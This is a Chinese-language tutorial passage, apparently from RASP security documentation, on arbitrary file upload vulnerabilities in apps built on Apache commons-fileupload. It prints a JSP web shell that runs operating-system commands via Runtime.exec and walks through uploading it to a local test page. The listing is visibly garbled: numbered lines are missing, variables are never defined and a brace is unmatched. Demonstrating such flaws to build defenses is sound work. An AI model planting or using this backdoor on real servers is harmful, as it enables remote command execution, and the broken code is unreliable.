任意文件上传漏洞

    Apache commons-fileupload是一个非常常用的文件上传解析库,Spring MVCStruts2Tomcat等底层处理文件上传请求都是使用的这个库,所以RASP必须能够支持使用Apache commons-fileupload库解析的文件上传请求。

    示例-:

    1. <%@ page import="java.io.InputStream" %>
    2. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    3. <pre>
    4. <%
    5. Process process = Runtime.getRuntime().exec(cmd);
    6. InputStream in = process.getInputStream();
    7. byte[] b = new byte[1024];
    8. out.println(new String(b, 0, a));
    9. }
    10. in.close();

    因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞,访问:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并选择一个恶意的jsp后门(示例上传的是一个本地命令执行的后门):

    image-20200921003719254

    访问命令执行后门测试: